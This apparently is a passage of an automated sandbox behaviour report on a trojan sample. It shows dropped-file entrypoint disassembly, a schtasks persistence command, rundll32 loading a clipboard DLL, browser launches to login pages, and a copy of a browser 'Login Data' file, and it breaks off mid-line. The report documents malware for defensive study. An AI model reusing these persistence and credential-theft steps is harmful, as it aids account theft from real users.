0x49fdf0,mov eax, esi,pop esi,pop ebp,ret 4,and dword ptr [ecx + 4], 0,mov eax, ecx,and dword ptr [ecx + 8], 0,mov dword ptr [ecx + 4], 0x49fdf8,mov dword ptr [ecx], 0x49fdf0,ret ,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x4205e7,mov dword ptr [esi], 0x49fe0c,mov eax, esi,pop esi,pop ebp,ret 4,and dword ptr [ecx + 4], 0,mov eax, ecx,and dword ptr [ecx + 8], 0," "explorhe.exe" file has an entrypoint instructions - "pushal ,call 0x805d3a,pop ebp,sub ebp, 6,sub ebp, 0x405d34,jmp 0x805d98,inc ebp,dec esi,dec ecx,inc edi,dec ebp,inc ecx,add ah, byte ptr [ecx],call 0x1b805e60,add byte ptr [eax], cl,add byte ptr [esi], dl,add byte ptr [edi], dh,add byte ptr [edi + 0x67], cl,adc byte ptr [edi + edx], bh,sbb bl, ch,out dx, al,add eax, 0x8f5ce296,cmc ,sub dword ptr [eax - 0x38eff73b], 1,add byte ptr [eax], al,add byte ptr [edx + 0x6b], dh,sub ah, byte ptr [edx + 0x200f4e81],fist dword ptr [ebp + 0x6a56d85a],mov ebx, dword ptr [esi + 0x486ebe51],fisub word ptr [edx],mov ebp, 0x77e2a302,mov byte ptr [esi - 0x10], bh," "rdxx1.exe" file has an entrypoint instructions - "call 0x412a15,jmp 0x40cbdd,mov edi, edi,push ebp,mov ebp, esp,sub esp, 0x20,mov eax, dword ptr [ebp + 8],push esi,push ebp,push 8,pop ecx,mov esi, 0x41f058,lea edi, [ebp - 0x20],rep movsd dword ptr es:[edi], dword ptr [esi],mov dword ptr [ebp - 8], eax,mov eax, dword ptr [ebp + 0xc],pop edi,mov dword ptr [ebp - 4], eax,pop esi,test eax, eax,je 0x40cd6e,test byte ptr [eax], 8,je 0x40cd6e,mov dword ptr [ebp - 0xc], 0x1994000,lea eax, [ebp - 0xc],push eax,push dword ptr [ebp - 0x10],push dword ptr [ebp - 0x1c],push dword ptr [ebp - 0x20],call dword ptr [0x41b000],leave ,ret 8,ret ,mov eax, 0x413563,mov dword ptr [0x4228e4], eax," "rdx1122_1_.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "clip64_1_.dll" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x1000672f,call 0x10006b19,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x100065f0,add esp, 0xc,pop ebp,ret 0xc,jmp 0x10009a35,push ebp,mov ebp, esp,sub esp, 0xc,lea ecx, [ebp - 0xc],call 0x10005f18,push 0x10017590,lea eax, [ebp - 0xc],push eax,call 0x10006db7,int3 ,push ebp,mov ebp, esp,and dword ptr [0x10019b08], 0,sub esp, 0x24,or dword ptr [0x10019004], 1,push 0xa,call 0x10010cc7,test eax, eax," "niks_1_.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,"48:T29d9,Process "schtasks.exe" (UID: 00000000-00005572) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", FPS_BROWSER_USER_PROFILE_STRING="Default", PROCESSOR_ARCHITEW6432="AMD64"" Process "schtasks.exe" (UID: 00000000-00005572) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "schtasks.exe" (UID: 00000000-00006068) was launched with missing environment variables: "FPS_BROWSER_APP_PROFILE_STRING, FPS_BROWSER_USER_PROFILE_STRING" Process "_cN98WdsB1IEWbc3Zx4D.exe" (UID: 00000000-00007248) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", FPS_BROWSER_USER_PROFILE_STRING="Default"" Process "msedge.exe" (UID: 00000000-00007332) was launched with modified environment variables: "Path" Process "cjV6Q2vxV7zvCn3KN9LD.exe" (UID: 00000000-00008112) was launched with modified environment variables: "Path" Process "msedge.exe" (UID: 00000000-00006840) was launched with new environment variables: "CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\LOCAL\crashpad_7332_ARJWGFQIMYFISVVG", EDGE_BROWSER_PID="7332"" Process "msedge.exe" (UID: 00000000-00006840) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, Path, ProgramFiles" Process "msedge.exe" (UID: 00000000-00006840) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "msedge.exe" (UID: 00000000-00007304) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "msedge.exe" (UID: 00000000-00007304) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "msedge.exe" (UID: 00000000-00007304) was launched with missing environment variables: "CHROME_CRASHPAD_PIPE_NAME, EDGE_BROWSER_PID" Process "msedge.exe" (UID: 00000000-00002408) was launched with new environment variables: "CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\LOCAL\crashpad_7304_YSEDUPSBOZPKHWCU", EDGE_BROWSER_PID="7304"" Process "msedge.exe" (UID: 00000000-00002408) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "msedge.exe" (UID: 00000000-00002408) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "HaHIGF310vbb4fU3fDiY.exe" (UID: 00000000-00007512) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "HaHIGF310vbb4fU3fDiY.exe" (UID: 00000000-00007512) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, Path, ProgramFiles" Process "HaHIGF310vbb4fU3fDiY.exe" (UID: 00000000-00007512) was launched with missing environment variables: "CHROME_CRASHPAD_PIPE_NAME, EDGE_BROWSER_PID" Process "msedge.exe" (UID: 00000000-00002840) was launched with new environment variables: "EDGE_METRICS_SESSION_ID="22", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\LOCAL\crashpad_7332_ARJWGFQIMYFISVVG", EDGE_VARIATIONS_SEED_ETAG=""yqAedQjWNiqI+BDPYcrwkchY8qHmqOg03OLp1w6XIVw="", EDGE_METRICS_CLIENT_ID_HASH="-5887840577531352325", EDGE_BROWSER_PID="7332"" Process "msedge.exe" (UID: 00000000-00002840) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, Path, ProgramFiles" Process "msedge.exe" (UID: 00000000-00002840) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "msedge.exe" (UID: 00000000-00008024) was launched with new environment variables: "CHROME_RESTART="Microsoft Edge|Microsoft Edge has stopped working. Restart it?|LEFT_TO_RIGHT"" Process "msedge.exe" (UID: 00000000-00000552) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "msedge.exe" (UID: 00000000-00000552) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "msedge.exe" (UID: 00000000-00000552) was launched with missing environment variables: "CHROME_RESTART, EDGE_METRICS_SESSION_ID, EDGE_USER_DATA_DIR, CHROME_CRASHPAD_PIPE_NAME, EDGE_VARIATIONS_SEED_ETAG, EDGE_METRICS_CLIENT_ID_HASH, EDGE_BROWSER_PID" Process "msedge.exe" (UID: 00000000-00007460) was launched with new environment variables: "CHROME_RESTART="Microsoft Edge|Microsoft Edge has stopped working. Restart it?|LEFT_TO_RIGHT", EDGE_METRICS_SESSION_ID="22", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\LOCAL\crashpad_7332_ARJWGFQIMYFISVVG", EDGE_VARIATIONS_SEED_ETAG=""yqAedQjWNiqI+BDPYcrwkchY8qHmqOg03OLp1w6XIVw="", EDGE_METRICS_CLIENT_ID_HASH="-5887840577531352325", EDGE_BROWSER_PID="7332"" Process "msedge.exe" (UID: 00000000-00007460) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "msedge.exe" (UID: 00000000-00007460) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "msedge.exe" (UID: 00000000-00003664) was launched with modified environment variables: "EDGE_METRICS_SESSION_ID, CHROME_CRASHPAD_PIPE_NAME, EDGE_VARIATIONS_SEED_ETAG, EDGE_BROWSER_PID" Process "msedge.exe" (UID: 00000000-00001368) was launched with modified environment variables: "EDGE_METRICS_SESSION_ID, CHROME_CRASHPAD_PIPE_NAME, EDGE_VARIATIONS_SEED_ETAG, EDGE_BROWSER_PID" Process "msedge.exe" (UID: 00000000-00006972) was launched with modified environment variables: "CHROME_CRASHPAD_PIPE_NAME, EDGE_BROWSER_PID" Process "msedge.exe" (UID: 00000000-00006972) was launched with missing environment variables: "CHROME_RESTART, EDGE_METRICS_SESSION_ID, EDGE_USER_DATA_DIR, EDGE_VARIATIONS_SEED_ETAG, EDGE_METRICS_CLIENT_ID_HASH" Process "msedge.exe" (UID: 00000000-00004144) was launched with new environment variables: "CHROME_RESTART="Microsoft Edge|Microsoft Edge has stopped working. Restart it?|LEFT_TO_RIGHT", EDGE_METRICS_SESSION_ID="22", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", EDGE_VARIATIONS_SEED_ETAG=""yqAedQjWNiqI+BDPYcrwkchY8qHmqOg03OLp1w6XIVw="", EDGE_METRICS_CLIENT_ID_HASH="-5887840577531352325"" Process "msedge.exe" (UID: 00000000-00004144) was launched with modified environment variables: "CHROME_CRASHPAD_PIPE_NAME, EDGE_BROWSER_PID" Process "2Sz9u8LqhC5hU2hE9Hgc.exe" (UID: 00000000-00006224) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "2Sz9u8LqhC5hU2hE9Hgc.exe" (UID: 00000000-00006224) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, Path, ProgramFiles" Process "2Sz9u8LqhC5hU2hE9Hgc.exe" (UID: 00000000-00006224) was launched with missing environment variables: "CHROME_RESTART, EDGE_METRICS_SESSION_ID, EDGE_USER_DATA_DIR, CHROME_CRASHPAD_PIPE_NAME, EDGE_VARIATIONS_SEED_ETAG, EDGE_METRICS_CLIENT_ID_HASH, EDGE_BROWSER_PID" Process "msedge.exe" (UID: 00000000-00002684) was launched with new environment variables: "CHROME_RESTART="Microsoft Edge|Microsoft Edge has stopped working. Restart it?|LEFT_TO_RIGHT", EDGE_METRICS_SESSION_ID="22", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\LOCAL\crashpad_7332_ARJWGFQIMYFISVVG", EDGE_VARIATIONS_SEED_ETAG=""yqAedQjWNiqI+BDPYcrwkchY8qHmqOg03OLp1w6XIVw="", EDGE_METRICS_CLIENT_ID_HASH="-5887840577531352325", EDGE_BROWSER_PID="7332"" Process "msedge.exe" (UID: 00000000-00002684) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, Path, ProgramFiles" Process "msedge.exe" (UID: 00000000-00002684) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "msedge.exe" (UID: 00000000-00007832) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "msedge.exe" (UID: 00000000-00007832) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "msedge.exe" (UID: 00000000-00007832) was launched with missing environment variables: "CHROME_RESTART, EDGE_METRICS_SESSION_ID, EDGE_USER_DATA_DIR, CHROME_CRASHPAD_PIPE_NAME, EDGE_VARIATIONS_SEED_ETAG, EDGE_METRICS_CLIENT_ID_HASH, EDGE_BROWSER_PID" Process "msedge.exe" (UID: 00000000-00001116) was launched with new environment variables: "EDGE_METRICS_SESSION_ID="22", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\LOCAL\crashpad_7304_YSEDUPSBOZPKHWCU", EDGE_VARIATIONS_SEED_ETAG=""yqAedQjWNiqI+BDPYcrwkchY8qHmqOg03OLp1w6XIVw="", EDGE_METRICS_CLIENT_ID_HASH="-5887840577531352325", EDGE_BROWSER_PID="7304"" Process "msedge.exe" (UID: 00000000-00001116) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "msedge.exe" (UID: 00000000-00001116) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "msedge.exe" (UID: 00000000-00002876) was launched with modified environment variables: "CHROME_CRASHPAD_PIPE_NAME, EDGE_BROWSER_PID" Process "msedge.exe" (UID: 00000000-00002876) was launched with missing environment variables: "EDGE_METRICS_SESSION_ID, EDGE_USER_DATA_DIR, EDGE_VARIATIONS_SEED_ETAG, EDGE_METRICS_CLIENT_ID_HASH" Process "msedge.exe" (UID: 00000000-00007984) was launched with new environment variables: "EDGE_METRICS_SESSION_ID="22", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", EDGE_VARIATIONS_SEED_ETAG=""yqAedQjWNiqI+BDPYcrwkchY8qHmqOg03OLp1w6XIVw="", EDGE_METRICS_CLIENT_ID_HASH="-5887840577531352325"" Process "msedge.exe" (UID: 00000000-00007984) was launched with modified environment variables: "CHROME_CRASHPAD_PIPE_NAME, EDGE_BROWSER_PID" Process "msedge.exe" (UID: 00000000-00007640) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "msedge.exe" (UID: 00000000-00007640) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "msedge.exe" (UID: 00000000-00007640) was launched with missing environment variables: "EDGE_METRICS_SESSION_ID, EDGE_USER_DATA_DIR, CHROME_CRASHPAD_PIPE_NAME, EDGE_VARIATIONS_SEED_ETAG, EDGE_METRICS_CLIENT_ID_HASH, EDGE_BROWSER_PID" Process "msedge.exe" (UID: 00000000-00002756) was launched with new environment variables: "CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\LOCAL\crashpad_7640_GEVDGIDXPWWTMXWZ", EDGE_BROWSER_PID="7640"" Process "msedge.exe" (UID: 00000000-00002756) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "msedge.exe" (UID: 00000000-00002756) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432"49:T77f,"974c9.Trojan.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "974c9.Trojan.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "974c9.Trojan.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "_cN98WdsB1IEWbc3Zx4D.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "_cN98WdsB1IEWbc3Zx4D.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "_cN98WdsB1IEWbc3Zx4D.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "_cN98WdsB1IEWbc3Zx4D.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "cjV6Q2vxV7zvCn3KN9LD.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "cjV6Q2vxV7zvCn3KN9LD.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "cjV6Q2vxV7zvCn3KN9LD.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "cjV6Q2vxV7zvCn3KN9LD.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "HaHIGF310vbb4fU3fDiY.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "HaHIGF310vbb4fU3fDiY.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "HaHIGF310vbb4fU3fDiY.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "HaHIGF310vbb4fU3fDiY.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "HaHIGF310vbb4fU3fDiY.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "LOCALENAME") "2Sz9u8LqhC5hU2hE9Hgc.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "2Sz9u8LqhC5hU2hE9Hgc.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "2Sz9u8LqhC5hU2hE9Hgc.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US")4a:Te40,Observed system executable string:"1,"fusion","GAC",01,"WinRT","NotApp",13,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll",0" [Source: HaHIGF310vbb4fU3fDiY.exe.log] Observed system executable string:"3,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll",0" [Source: HaHIGF310vbb4fU3fDiY.exe.log] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00007512-00000C25-56652425] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00007512-00000C25-57965478] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00007512-00000C25-58196865] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00007512-00000C25-58321635] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00007512-00000C25-58958265] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00007512-00000C25-59061896] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00007512-00000C25-59163998] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00007512-00000C25-59427184] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00007512-00000C25-59692437] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00007512-00000C25-60224164] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00007512-00000C25-61146426] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00007512-00000C25-61331992] Observed system executable string:""%WINDIR%\System32\rundll32.exe" %APPDATA%\006700e5a2ab05\clip64.dll, Main" [Source: 00000000-00004036-00000C41-12473358356] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00007440-00000C25-75832945] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00007440-00000C25-76122344] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00006352-00000C25-76494920] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00006352-00000C25-76854265] Observed system executable string:"%WINDIR%\system32\kernel32.dll" [Source: 00000000-00006352-00000C25-77190623] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00006352-00000C25-77356866] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00006352-00000C25-77465271] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" [Source: 00000000-00006352-00000C25-77609340]4b:Tc8d,Spawned process "schtasks.exe" with commandline "schtasks /create /f /RU "Qa3nFGk" /tr "%ALLUSERSPROFILE%\\MPGPH1 ..." (UID: 00000000-00005572), Spawned process "schtasks.exe" with commandline "schtasks /create /f /RU "Qa3nFGk" /tr "%ALLUSERSPROFILE%\\MPGPH1 ..." (UID: 00000000-00006068) Spawned process "_cN98WdsB1IEWbc3Zx4D.exe" (UID: 00000000-00007248) Spawned process "msedge.exe" with commandline "--single-argument https://www.youtube.com/" (UID: 00000000-00007332) Spawned process "cjV6Q2vxV7zvCn3KN9LD.exe" (UID: 00000000-00008112) Spawned process "msedge.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Microso ..." (UID: 00000000-00006840), Spawned process "msedge.exe" with commandline "--single-argument https://www.facebook.com/login" (UID: 00000000-00007304), Spawned process "msedge.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Microso ..." (UID: 00000000-00002408) Spawned process "HaHIGF310vbb4fU3fDiY.exe" (UID: 00000000-00007512) Spawned process "msedge.exe" with commandline "--type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAA ..." (UID: 00000000-00002840) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=network.mojom.NetworkService - ..." (UID: 00000000-00008024) Spawned process "msedge.exe" with commandline "--single-argument https://accounts.google.com/" (UID: 00000000-00000552) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=storage.mojom.StorageService - ..." (UID: 00000000-00007460) Spawned process "msedge.exe" with commandline "--type=renderer --display-capture-permissions-policy-allowed --j ..." (UID: 00000000-00006512) Spawned process "msedge.exe" with commandline "--type=renderer --display-capture-permissions-policy-allowed --j ..." (UID: 00000000-00003664) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=asset_store.mojom.AssetStoreSe ..." (UID: 00000000-00001368) Spawned process "msedge.exe" with commandline "--type=renderer --extension-process --display-capture-permission ..." (UID: 00000000-00007296) Spawned process "msedge.exe" with commandline "--type=renderer --extension-process --display-capture-permission ..." (UID: 00000000-00000684) Spawned process "msedge.exe" with commandline "--type=renderer --extension-process --display-capture-permission ..." (UID: 00000000-00004100) Spawned process "msedge.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Microso ..." (UID: 00000000-00006972), Spawned process "msedge.exe" with commandline "--type=renderer --extension-process --display-capture-permission ..." (UID: 00000000-00004144), Spawned process "msedge.exe" with commandline "--type=renderer --extension-process --display-capture-permission ..." (UID: 00000000-00003584), Spawned process "msedge.exe" with commandline "--type=renderer --display-capture-permissions-policy-allowed --j ..." (UID: 00000000-00001404), Spawned process "2Sz9u8LqhC5hU2hE9Hgc.exe" (UID: 00000000-00006224), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=edge_search_indexer.mojom.Sear ..." (UID: 00000000-00002684)4c:Tc8d,Spawned process "schtasks.exe" with commandline "schtasks /create /f /RU "Qa3nFGk" /tr "%ALLUSERSPROFILE%\\MPGPH1 ..." (UID: 00000000-00005572), Spawned process "schtasks.exe" with commandline "schtasks /create /f /RU "Qa3nFGk" /tr "%ALLUSERSPROFILE%\\MPGPH1 ..." (UID: 00000000-00006068) Spawned process "_cN98WdsB1IEWbc3Zx4D.exe" (UID: 00000000-00007248) Spawned process "msedge.exe" with commandline "--single-argument https://www.youtube.com/" (UID: 00000000-00007332) Spawned process "cjV6Q2vxV7zvCn3KN9LD.exe" (UID: 00000000-00008112) Spawned process "msedge.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Microso ..." (UID: 00000000-00006840), Spawned process "msedge.exe" with commandline "--single-argument https://www.facebook.com/login" (UID: 00000000-00007304), Spawned process "msedge.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Microso ..." (UID: 00000000-00002408) Spawned process "HaHIGF310vbb4fU3fDiY.exe" (UID: 00000000-00007512) Spawned process "msedge.exe" with commandline "--type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAA ..." (UID: 00000000-00002840) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=network.mojom.NetworkService - ..." (UID: 00000000-00008024) Spawned process "msedge.exe" with commandline "--single-argument https://accounts.google.com/" (UID: 00000000-00000552) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=storage.mojom.StorageService - ..." (UID: 00000000-00007460) Spawned process "msedge.exe" with commandline "--type=renderer --display-capture-permissions-policy-allowed --j ..." (UID: 00000000-00006512) Spawned process "msedge.exe" with commandline "--type=renderer --display-capture-permissions-policy-allowed --j ..." (UID: 00000000-00003664) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=asset_store.mojom.AssetStoreSe ..." (UID: 00000000-00001368) Spawned process "msedge.exe" with commandline "--type=renderer --extension-process --display-capture-permission ..." (UID: 00000000-00007296) Spawned process "msedge.exe" with commandline "--type=renderer --extension-process --display-capture-permission ..." (UID: 00000000-00000684) Spawned process "msedge.exe" with commandline "--type=renderer --extension-process --display-capture-permission ..." (UID: 00000000-00004100) Spawned process "msedge.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Microso ..." (UID: 00000000-00006972), Spawned process "msedge.exe" with commandline "--type=renderer --extension-process --display-capture-permission ..." (UID: 00000000-00004144), Spawned process "msedge.exe" with commandline "--type=renderer --extension-process --display-capture-permission ..." (UID: 00000000-00003584), Spawned process "msedge.exe" with commandline "--type=renderer --display-capture-permissions-policy-allowed --j ..." (UID: 00000000-00001404), Spawned process "2Sz9u8LqhC5hU2hE9Hgc.exe" (UID: 00000000-00006224), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=edge_search_indexer.mojom.Sear ..." (UID: 00000000-00002684)4d:T5bb,"974c9.Trojan.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\F59E91F8" "974c9.Trojan.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\rage131MP.tmp" "974c9.Trojan.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\jobA4OpGWreR7plfwx\Ei8DrAmaYu9KLogin Data" "974c9.Trojan.exe" writes to a file 